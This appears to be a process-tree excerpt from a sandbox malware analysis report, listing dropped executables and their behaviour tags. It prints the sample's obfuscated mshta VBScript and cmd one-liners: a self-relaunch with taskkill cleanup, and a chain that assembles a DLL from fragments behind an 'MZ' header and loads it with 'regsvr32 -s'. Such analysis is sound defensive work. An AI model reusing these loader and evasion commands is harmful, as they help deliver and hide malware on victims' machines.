C:\Users\Admin\AppData\Roaming\cjwdtarC:\Users\Admin\AppData\Roaming\cjwdtar2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1428 -
C:\Users\Admin\AppData\Roaming\cjwdtarC:\Users\Admin\AppData\Roaming\cjwdtar3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:304
-
-
-
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2072 -
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task3⤵
- Executes dropped EXE
PID:2988
-
-
-
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2788 -
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task3⤵
- Executes dropped EXE
PID:1604
-
-
-
C:\Users\Admin\AppData\Roaming\udwdtarC:\Users\Admin\AppData\Roaming\udwdtar2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1724
-
-
C:\Users\Admin\AppData\Roaming\cjwdtarC:\Users\Admin\AppData\Roaming\cjwdtar2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2696 -
C:\Users\Admin\AppData\Roaming\cjwdtarC:\Users\Admin\AppData\Roaming\cjwdtar3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2216
-
-
-
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2284 -
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task3⤵
- Executes dropped EXE
PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\B9CC.exeC:\Users\Admin\AppData\Local\Temp\B9CC.exe1⤵
- Executes dropped EXE
PID:2316
-
C:\Users\Admin\AppData\Local\Temp\BB63.exeC:\Users\Admin\AppData\Local\Temp\BB63.exe1⤵
- Executes dropped EXE
PID:792 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCripT: CLOsE ( cReATEoBJeCT ("wSCRipT.shEll"). RUN ( "cmd /C tYPE ""C:\Users\Admin\AppData\Local\Temp\BB63.exe"" > 0~NM~WIL.eXe && sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if """" == """" for %D iN ( ""C:\Users\Admin\AppData\Local\Temp\BB63.exe"" ) do taskkill -F /IM ""%~NXD"" " , 0 , TRUE))2⤵PID:2456
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYPE "C:\Users\Admin\AppData\Local\Temp\BB63.exe" > 0~NM~WIL.eXe&&sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if "" =="" for %D iN ( "C:\Users\Admin\AppData\Local\Temp\BB63.exe" ) do taskkill -F /IM "%~NXD"3⤵
- Loads dropped DLL
PID:2464 -
C:\Windows\SysWOW64\taskkill.exetaskkill -F /IM "BB63.exe"4⤵
- Kills process with taskkill
PID:1168
-
-
C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe0~nM~WIl.eXE /pwIz2i2S0CJRBKmE44⤵
- Executes dropped EXE
PID:2324 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCripT: CLOsE ( cReATEoBJeCT ("wSCRipT.shEll"). RUN ( "cmd /C tYPE ""C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe"" > 0~NM~WIL.eXe && sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if ""/pwIz2i2S0CJRBKmE4 "" == """" for %D iN ( ""C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe"" ) do taskkill -F /IM ""%~NXD"" " , 0 , TRUE))5⤵PID:1988
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYPE "C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe" > 0~NM~WIL.eXe&&sTaRT 0~nM~WIl.eXE /pwIz2i2S0CJRBKmE4 & if "/pwIz2i2S0CJRBKmE4 " =="" for %D iN ( "C:\Users\Admin\AppData\Local\Temp\0~NM~WIL.eXe" ) do taskkill -F /IM "%~NXD"6⤵PID:2396
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRiPT:CLosE ( cREATEObjECt( "WsCrIpT.ShElL" ). RUn ( "CmD /q /C EchO 90tQ%daTe%PSA> YAEF9Fv.MI & ECHo | seT /p = ""MZ"" > s1S8NN.3F & CoPY /Y /B S1S8Nn.3f + RVPZHO1.qP + 4ZlR0MZ.q_1 + 1LIRC.u + SWnWL.H +YAEF9FV.MI XN9IOnS.vc &sTART regsvr32.exe -s XN9IONS.VC /u " ,0, TRue) )5⤵PID:2172
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C EchO 90tQÚTe%PSA> YAEF9Fv.MI & ECHo | seT /p = "MZ" >s1S8NN.3F & CoPY /Y /B S1S8Nn.3f + RVPZHO1.qP + 4ZlR0MZ.q_1 +1LIRC.u +SWnWL.H +YAEF9FV.MI XN9IOnS.vc &sTART regsvr32.exe -s XN9IONS.VC /u6⤵PID:2776
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHo "7⤵PID:2116
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>s1S8NN.3F"7⤵PID:964
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe -s XN9IONS.VC /u7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:2288
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BCEA.exeC:\Users\Admin\AppData\Local\Temp\BCEA.exe1⤵
- Executes dropped EXE
PID:2448